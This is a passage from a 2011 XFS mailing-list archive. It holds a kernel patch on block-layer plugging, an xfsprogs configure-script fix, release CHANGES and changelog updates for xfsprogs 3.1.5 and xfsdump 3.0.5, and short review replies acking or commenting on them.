@@ xfsbufd( do { long age = xfs_buf_age_centisecs * msecs_to_jiffies(10); long tout = xfs_buf_timer_centisecs * msecs_to_jiffies(10); - int count = 0; struct list_head tmp; + struct blk_plug plug; if (unlikely(freezing(current))) { set_bit(XBT_FORCE_SLEEP, &target->bt_flags); @@ -1764,16 +1760,15 @@ xfsbufd( xfs_buf_delwri_split(target, &tmp, age); list_sort(NULL, &tmp, xfs_buf_cmp); + + blk_start_plug(&plug); while (!list_empty(&tmp)) { struct xfs_buf *bp; bp = list_first_entry(&tmp, struct xfs_buf, b_list); list_del_init(&bp->b_list); xfs_bdstrat_cb(bp); - count++; } - if (count) - blk_flush_plug(current); - + blk_finish_plug(&plug); } while (!kthread_should_stop()); return 0; @@ -1793,6 +1788,7 @@ xfs_flush_buftarg( int pincount = 0; LIST_HEAD(tmp_list); LIST_HEAD(wait_list); + struct blk_plug plug; xfs_buf_runall_queues(xfsconvertd_workqueue); xfs_buf_runall_queues(xfsdatad_workqueue); @@ -1807,6 +1803,8 @@ xfs_flush_buftarg( * we do that after issuing all the IO. */ list_sort(NULL, &tmp_list, xfs_buf_cmp); + + blk_start_plug(&plug); while (!list_empty(&tmp_list)) { bp = list_first_entry(&tmp_list, struct xfs_buf, b_list); ASSERT(target == bp->b_target); @@ -1817,10 +1815,10 @@ xfs_flush_buftarg( } xfs_bdstrat_cb(bp); } + blk_finish_plug(&plug); if (wait) { - /* Expedite and wait for IO to complete. */ - blk_flush_plug(current); + /* Wait for IO to complete. */ while (!list_empty(&wait_list)) { bp = list_first_entry(&wait_list, struct xfs_buf, b_list); From JAxboe@fusionio.com Wed Mar 30 06:14:38 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2UBEb7J034381 for ; Wed, 30 Mar 2011 06:14:37 -0500 X-ASG-Debug-ID: 1301483868-2fe101260000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.fusionio.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id DF6D015A879A for ; Wed, 30 Mar 2011 04:17:48 -0700 (PDT) Received: from mx1.fusionio.com (mx1.fusionio.com [64.244.102.30]) by cuda.sgi.com with ESMTP id SefZ1ogg7DHy3mZA for ; Wed, 30 Mar 2011 04:17:48 -0700 (PDT) Received: from mail1.int.fusionio.com (mail1.int.fusionio.com [10.101.1.21]) by mx1.fusionio.com with ESMTP id jaED1qDUgLPprpx2; Wed, 30 Mar 2011 05:17:47 -0600 (MDT) Received: from [192.168.0.33] (95.166.99.235) by mail.fusionio.com (10.101.1.19) with Microsoft SMTP Server (TLS) id 8.1.393.1; Wed, 30 Mar 2011 05:17:47 -0600 Message-ID: <4D93115A.4040908@fusionio.com> Date: Wed, 30 Mar 2011 13:17:46 +0200 From: Jens Axboe MIME-Version: 1.0 To: Christoph Hellwig CC: "xfs@oss.sgi.com" X-ASG-Orig-Subj: Re: [PATCH] xfs: use proper interfaces for on-stack plugging Subject: Re: [PATCH] xfs: use proper interfaces for on-stack plugging References: <20110330110509.GA9507@infradead.org> In-Reply-To: <20110330110509.GA9507@infradead.org> Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: mx1.fusionio.com[64.244.102.30] X-Barracuda-Start-Time: 1301483868 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0050 1.0000 -1.9881 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.99 X-Barracuda-Spam-Status: No, SCORE=-1.99 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59400 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Status: Clean On 2011-03-30 13:05, Christoph Hellwig wrote: > Add proper blk_start_plug/blk_finish_plug pairs for the two places where > we issue buffer I/O, and remove the blk_flush_plug in xfs_buf_lock and > xfs_buf_iowait, given that context switches already flush the per-process > plugging lists. Looks much better, thanks for doing that. Acked-by: Jens Axboe -- Jens Axboe From aelder@sgi.com Wed Mar 30 12:49:31 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2UHnVvD063901 for ; Wed, 30 Mar 2011 12:49:31 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4B4FC30408E for ; Wed, 30 Mar 2011 10:52:40 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Wed, 30 Mar 2011 12:52:40 -0500 Subject: xfsprogs: avoid dot-directories when configuring From: Alex Elder Reply-To: aelder@sgi.com To: xfs@oss.sgi.com Content-Type: text/plain; charset="UTF-8" Date: Wed, 30 Mar 2011 12:52:39 -0500 Message-ID: <1301507559.2953.12.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 30 Mar 2011 17:52:40.0227 (UTC) FILETIME=[433E0730:01CBEF03] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean The "find" command used in the configure script to find localized files searches through directories (including .git and .pc) that really should be ignored. Change it so it skips over these directories. I think it's reasonable to assume any such "dot directory" should be ignored, so this change skips any directory at the top level whose name begins with ".". Note that I found an odd anomaly in "find". If you do not supply the "-print" argument, the pruned directory names show up in the output. Supplying "-print" does not include them (and that's what we want). Signed-off-by: Alex Elder --- configure.in | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) Index: b/configure.in =================================================================== --- a/configure.in +++ b/configure.in @@ -76,9 +76,12 @@ esac AC_SUBST([root_sbindir]) AC_SUBST([root_libdir]) -# Find localized files +# Find localized files. Don't descend into any "dot directories" +# (like .git or .pc from quilt). Strangely, the "-print" argument +# to "find" is required, to avoid including such directories in the +# list. LOCALIZED_FILES="" -for lfile in `find ${srcdir} -name '*.c' -type f || exit 1`; do +for lfile in `find ${srcdir} -path './.??*' -prune -o -name '*.c' -type f -print || exit 1`; do LOCALIZED_FILES="$LOCALIZED_FILES \$(TOPDIR)/$lfile" done AC_SUBST(LOCALIZED_FILES) From aelder@sgi.com Wed Mar 30 12:50:12 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2UHoCvr063944 for ; Wed, 30 Mar 2011 12:50:12 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 620DD8F809B for ; Wed, 30 Mar 2011 10:53:21 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Wed, 30 Mar 2011 12:53:21 -0500 Subject: xfsprogs: update CHANGES file for release From: Alex Elder Reply-To: aelder@sgi.com To: xfs@oss.sgi.com Content-Type: text/plain; charset="UTF-8" Date: Wed, 30 Mar 2011 12:53:20 -0500 Message-ID: <1301507600.2953.13.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 30 Mar 2011 17:53:21.0258 (UTC) FILETIME=[5BB2DCA0:01CBEF03] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Update the CHANGES file, in preparation for releasing xfsprogs 3.1.5. Signed-off-by: Alex Elder --- doc/CHANGES | 15 +++++++++++++++ 1 file changed, 15 insertions(+) Index: b/doc/CHANGES =================================================================== --- a/doc/CHANGES +++ b/doc/CHANGES @@ -1,3 +1,18 @@ +xfsprogs-3.1.5 (30 March 2011) + - Polish translation update + - xfs_repair now warns if running in low memory mode + - Phase 2 of xfs_repair is now multithreaded + - xfs_quota no longer attempts to get quota information if + not enabled + - Inode flags are now properly validated by xfs_repair + - Metadump now obfuscates all file names reliably + - xfs_io now supports the "fiemap" command, a more generic + form of the "bmap" command + - xfs_io now supports the "fpunch" command, as well as a + "-p" flag to the "fallocate command. Both implement hole + punching. + - A number of other bug fixes + xfsprogs-3.1.4 (9 November 2010) - Add projid32bit handling to userspace, resolving type sizing issues when dealing with 32 bit project ids. From BATV+defdcc838d0796150c4a+2775+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 30 13:43:05 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2UIh39S069234 for ; Wed, 30 Mar 2011 13:43:05 -0500 X-ASG-Debug-ID: 1301510774-212601f90000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4EB1A15A9E24; Wed, 30 Mar 2011 11:46:14 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id EqrlWsdACNRBjPyh; Wed, 30 Mar 2011 11:46:14 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q50PF-00012J-NZ; Wed, 30 Mar 2011 18:46:13 +0000 Date: Wed, 30 Mar 2011 14:46:13 -0400 From: Christoph Hellwig To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: xfsprogs: update CHANGES file for release Subject: Re: xfsprogs: update CHANGES file for release Message-ID: <20110330184613.GA32141@infradead.org> References: <1301507600.2953.13.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1301507600.2953.13.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301510775 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Note that you'll also need to update debian/changelog for the release, just copy an old one that says upstream update and mention that it fixes bug 618730. > + - Polish translation update please credit this one to Jakub Bogusz > + - xfs_io now supports the "fpunch" command, as well as a > + "-p" flag to the "fallocate command. Both implement hole > + punching. please credit this Josef Bacik > + - A number of other bug fixes please credit these to Ajeet Yadav and From BATV+defdcc838d0796150c4a+2775+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 30 13:43:24 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2UIhOcR069274 for ; Wed, 30 Mar 2011 13:43:24 -0500 X-ASG-Debug-ID: 1301510795-3ef503260000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1629138E928; Wed, 30 Mar 2011 11:46:35 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id lNvjj0CdutlWUVFP; Wed, 30 Mar 2011 11:46:35 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q50Pb-00012x-Hv; Wed, 30 Mar 2011 18:46:35 +0000 Date: Wed, 30 Mar 2011 14:46:35 -0400 From: Christoph Hellwig To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: xfsprogs: avoid dot-directories when configuring Subject: Re: xfsprogs: avoid dot-directories when configuring Message-ID: <20110330184635.GB32141@infradead.org> References: <1301507559.2953.12.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1301507559.2953.12.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301510796 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Looks good, Reviewed-by: Christoph Hellwig From aelder@sgi.com Wed Mar 30 14:33:53 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_73 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2UJXrHH073711 for ; Wed, 30 Mar 2011 14:33:53 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9B10CAC006 for ; Wed, 30 Mar 2011 12:37:01 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Wed, 30 Mar 2011 14:37:01 -0500 Subject: [PATCH v2] xfsprogs: update CHANGES file for release From: Alex Elder Reply-To: aelder@sgi.com To: xfs@oss.sgi.com In-Reply-To: <1301507600.2953.13.camel@doink> References: <1301507600.2953.13.camel@doink> Content-Type: text/plain; charset="UTF-8" Date: Wed, 30 Mar 2011 14:37:00 -0500 Message-ID: <1301513820.2953.23.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 30 Mar 2011 19:37:01.0247 (UTC) FILETIME=[D719DCF0:01CBEF11] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Update the CHANGES file, in preparation for releasing xfsprogs 3.1.5. Updated to modify debian/changelog, and to give appropriate credit to contributors. Signed-off-by: Alex Elder --- debian/changelog | 4 ++++ doc/CHANGES | 15 +++++++++++++++ 2 files changed, 19 insertions(+) Index: b/debian/changelog =================================================================== --- a/debian/changelog +++ b/debian/changelog @@ -1,3 +1,7 @@ +xfsprogs (3.1.5) unstable; urgency=low + * New upstream release + * No more xfsquota error message for non-quota mounts (closes: #618730) + xfsprogs (3.1.4) unstable; urgency=low * New upstream release (32 projid resolution, fsr uses /proc/mounts) Index: b/doc/CHANGES =================================================================== --- a/doc/CHANGES +++ b/doc/CHANGES @@ -1,3 +1,18 @@ +xfsprogs-3.1.5 (11 March 2011) + - Polish translation update, provided by Jakub Bogusz + - xfs_repair now warns if running in low memory mode + - Phase 2 of xfs_repair is now multithreaded + - xfs_quota no longer attempts to get quota information if + not enabled + - Inode flags are now properly validated by xfs_repair + - Metadump now obfuscates all file names reliably + - xfs_io now supports the "fiemap" command, a more generic + form of the "bmap" command + - xfs_io now supports the "fpunch" command, as well as a + "-p" flag to the "fallocate command. Both implement hole + punching. Provided by Josef Bacik + - A number of other bug fixes provided by Ajeet Yadav + xfsprogs-3.1.4 (9 November 2010) - Add projid32bit handling to userspace, resolving type sizing issues when dealing with 32 bit project ids. From aelder@sgi.com Wed Mar 30 15:19:47 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_73 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2UKJlnf077419 for ; Wed, 30 Mar 2011 15:19:47 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id EC0DCAC003; Wed, 30 Mar 2011 13:22:55 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Wed, 30 Mar 2011 15:22:55 -0500 Subject: [PATCH] xfsdump: update CHANGES file for release From: Alex Elder Reply-To: aelder@sgi.com To: xfs@oss.sgi.com Cc: nathans , wkendall@sgi.com Content-Type: text/plain; charset="UTF-8" Date: Wed, 30 Mar 2011 15:22:55 -0500 Message-ID: <1301516575.2953.29.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: quoted-printable X-OriginalArrivalTime: 30 Mar 2011 20:22:55.0578 (UTC) FILETIME=[40CF6BA0:01CBEF18] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Update the CHANGES file in preparation for releasing xfsdump 3.0.5. Signed-off-by: Alex Elder --- debian/changelog | 6 ++++++ doc/CHANGES | 27 +++++++++++++++++++++++++++ 2 files changed, 33 insertions(+) Index: b/debian/changelog =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/debian/changelog +++ b/debian/changelog @@ -1,3 +1,9 @@ +xfsdump (3.0.5) unstable; urgency=3Dlow + + * New upstream release + + -- Nathan Scott Wed, 31 Mar 2011 07:30:00 +1100 + xfsdump (3.0.4) unstable; urgency=3Dlow =20 * New bugfix release Index: b/doc/CHANGES =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/doc/CHANGES +++ b/doc/CHANGES @@ -1,3 +1,30 @@ +xfsdump-3.0.5 (30 March 2011) + - Release tags will now be digitally signed + - Quota files will now be dumped, regardless of the maxsize + setting + - The new "-s sessid" flag allows inventory sessions to be + pruned by their session ID. + - Fixed a bug in handling long dump filenames, and dropped + (undocumented) support for encoding certain parameters + within the dump filename + - NODECHK is now off by default, meaning xfsrestore will now + support 16 times more directory entries (4 billion) + - nrh_t is now 64 bits wide, allowing xfsrestore to support + dumps with up to 4 billion directory entries + - nix_t is no longer useful, and has been eliminated + - Memory use in xfsrestore is better managed now. Segments + of nodes are now power-of-2 sized, and allocated nodes are + no longer needlessly zeroed and linked into the free list. + - Pathname resolution in xfsrestore has a number of + performance improvements + - Better checking has been implemented for compatibility + when resuming a cumulative restore + - Build system output has been cleaned up considerably + - Dead "namreg" code has been removed + - Build dependencies are now determined automatically + - Other miscellaneous build system improvements, as well bug + fixes thanks to Mike Frysinger and Arkadiusz Mi=C5=9Bkiewicz. + xfsdump-3.0.4 (13 January 2010) - Improve xfsinvutil man page and argument processing. - Fix timestamp handling on 64-bit architectures in xfsinvutil. From nscott@aconex.com Wed Mar 30 16:37:20 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_73 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2ULbJwV083708 for ; Wed, 30 Mar 2011 16:37:20 -0500 X-ASG-Debug-ID: 1301521229-052702920000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from postoffice2.aconex.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id E02BB1DFCEE1 for ; Wed, 30 Mar 2011 14:40:29 -0700 (PDT) Received: from postoffice2.aconex.com (mail.aconex.com [203.166.49.3]) by cuda.sgi.com with SMTP id Y1tki8lmUo6GuWZh for ; Wed, 30 Mar 2011 14:40:29 -0700 (PDT) Received: from postoffice.aconex.com (postoffice.yarra.acx [192.168.35.100]) by postoffice2.aconex.com with ESMTP id k032rt8X0u059Wrg; Thu, 31 Mar 2011 08:40:27 +1100 (EST) Received: from gatekeeper.aconex.com (gatekeeper.yarra.acx [192.168.35.102]) by postoffice.aconex.com (Postfix) with ESMTP id 8262DA503EA; Thu, 31 Mar 2011 08:40:27 +1100 (EST) Received: from localhost (localhost.localdomain [127.0.0.1]) by gatekeeper.aconex.com (Postfix) with ESMTP id CC6549D0002; Thu, 31 Mar 2011 08:21:09 +1100 (EST) X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Scanned: amavisd-new at aconex.com Received: from gatekeeper.aconex.com ([127.0.0.1]) by localhost (gatekeeper.aconex.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id o56eK2CVnSGr; Thu, 31 Mar 2011 08:21:09 +1100 (EST) Received: from acxmail-au2.aconex.com (acxmail-au2.aconex.com [192.168.35.104]) by gatekeeper.aconex.com (Postfix) with ESMTP id 1F1009D0004; Thu, 31 Mar 2011 08:21:09 +1100 (EST) Received: from localhost (localhost.localdomain [127.0.0.1]) by acxmail-au2.aconex.com (Postfix) with ESMTP id BB8DE3B20002; Thu, 31 Mar 2011 08:40:26 +1100 (EST) X-Virus-Scanned: amavisd-new at aconex.com Received: from acxmail-au2.aconex.com ([127.0.0.1]) by localhost (acxmail-au2.aconex.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id C03RKSntB5Gk; Thu, 31 Mar 2011 08:40:26 +1100 (EST) Received: from acxmail-au2.aconex.com (localhost.localdomain [127.0.0.1]) by acxmail-au2.aconex.com (Postfix) with ESMTP id 9A48A3B20001; Thu, 31 Mar 2011 08:40:26 +1100 (EST) Date: Thu, 31 Mar 2011 08:40:26 +1100 (EST) From: Nathan Scott To: aelder@sgi.com Cc: xfs@oss.sgi.com Message-ID: <962663761.15158.1301521226508.JavaMail.root@acxmail-au2.aconex.com> In-Reply-To: <1301513820.2953.23.camel@doink> X-ASG-Orig-Subj: Re: [PATCH v2] xfsprogs: update CHANGES file for release Subject: Re: [PATCH v2] xfsprogs: update CHANGES file for release MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [220.237.111.48] X-Mailer: Zimbra 6.0.12_GA_2883 (ZimbraWebClient - SAF3 (Mac)/6.0.12_GA_2883) X-Virus-Scanned: by bsmtpd at aconex.com X-Barracuda-Connect: mail.aconex.com[203.166.49.3] X-Barracuda-Start-Time: 1301521230 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0939 1.0000 -1.4295 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.43 X-Barracuda-Spam-Status: No, SCORE=-1.43 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59441 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Status: Clean ----- Original Message ----- > Update the CHANGES file, in preparation for releasing xfsprogs > 3.1.5. Updated to modify debian/changelog, and to give appropriate > credit to contributors. > > Signed-off-by: Alex Elder > > --- > debian/changelog | 4 ++++ > doc/CHANGES | 15 +++++++++++++++ > 2 files changed, 19 insertions(+) > > Index: b/debian/changelog > =================================================================== > --- a/debian/changelog > +++ b/debian/changelog > @@ -1,3 +1,7 @@ > +xfsprogs (3.1.5) unstable; urgency=low > + * New upstream release > + * No more xfsquota error message for non-quota mounts (closes: > #618730) > + > xfsprogs (3.1.4) unstable; urgency=low Are we missing the timestamp line there? (previous version had it, I think) Otherwise looks good, thanks! cheers. -- Nathan From nscott@aconex.com Wed Mar 30 16:37:23 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2ULbMcD083724 for ; Wed, 30 Mar 2011 16:37:23 -0500 X-ASG-Debug-ID: 1301521232-29de002f0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from postoffice2.aconex.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 113B915AA67F for ; Wed, 30 Mar 2011 14:40:32 -0700 (PDT) Received: from postoffice2.aconex.com (mail.aconex.com [203.166.49.3]) by cuda.sgi.com with ESMTP id vVriTSn6NdhLbztJ for ; Wed, 30 Mar 2011 14:40:32 -0700 (PDT) Received: from postoffice.aconex.com (postoffice.yarra.acx [192.168.35.100]) by postoffice2.aconex.com with ESMTP id uAtDj6q9VzZaMQtP; Thu, 31 Mar 2011 08:40:31 +1100 (EST) Received: from gatekeeper.aconex.com (gatekeeper.yarra.acx [192.168.35.102]) by postoffice.aconex.com (Postfix) with ESMTP id 7C48CA503EA; Thu, 31 Mar 2011 08:40:31 +1100 (EST) Received: from localhost (localhost.localdomain [127.0.0.1]) by gatekeeper.aconex.com (Postfix) with ESMTP id C3B199D0004; Thu, 31 Mar 2011 08:21:13 +1100 (EST) X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Scanned: amavisd-new at aconex.com Received: from gatekeeper.aconex.com ([127.0.0.1]) by localhost (gatekeeper.aconex.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id MRHq-lZpSWRJ; Thu, 31 Mar 2011 08:21:13 +1100 (EST) Received: from acxmail-au2.aconex.com (acxmail-au2.aconex.com [192.168.35.104]) by gatekeeper.aconex.com (Postfix) with ESMTP id 06DD99D0002; Thu, 31 Mar 2011 08:21:13 +1100 (EST) Received: from localhost (localhost.localdomain [127.0.0.1]) by acxmail-au2.aconex.com (Postfix) with ESMTP id A4CA53B20002; Thu, 31 Mar 2011 08:40:30 +1100 (EST) X-Virus-Scanned: amavisd-new at aconex.com Received: from acxmail-au2.aconex.com ([127.0.0.1]) by localhost (acxmail-au2.aconex.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Bk565js9YWT0; Thu, 31 Mar 2011 08:40:30 +1100 (EST) Received: from acxmail-au2.aconex.com (acxmail-au2.aconex.com [192.168.35.104]) by acxmail-au2.aconex.com (Postfix) with ESMTP id 8D01A3B20001; Thu, 31 Mar 2011 08:40:30 +1100 (EST) Date: Thu, 31 Mar 2011 08:40:30 +1100 (EST) From: nathans@debian.org Sender: nscott@aconex.com Reply-To: Nathan Scott To: aelder@sgi.com Cc: wkendall@sgi.com, xfs@oss.sgi.com Message-ID: <1411209746.15160.1301521230565.JavaMail.root@acxmail-au2.aconex.com> In-Reply-To: <1301516575.2953.29.camel@doink> X-ASG-Orig-Subj: Re: [PATCH] xfsdump: update CHANGES file for release Subject: Re: [PATCH] xfsdump: update CHANGES file for release MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [220.237.111.48] X-Mailer: Zimbra 6.0.12_GA_2883 (ZimbraWebClient - SAF3 (Mac)/6.0.12_GA_2883) X-Virus-Scanned: by bsmtpd at aconex.com X-Barracuda-Connect: mail.aconex.com[203.166.49.3] X-Barracuda-Start-Time: 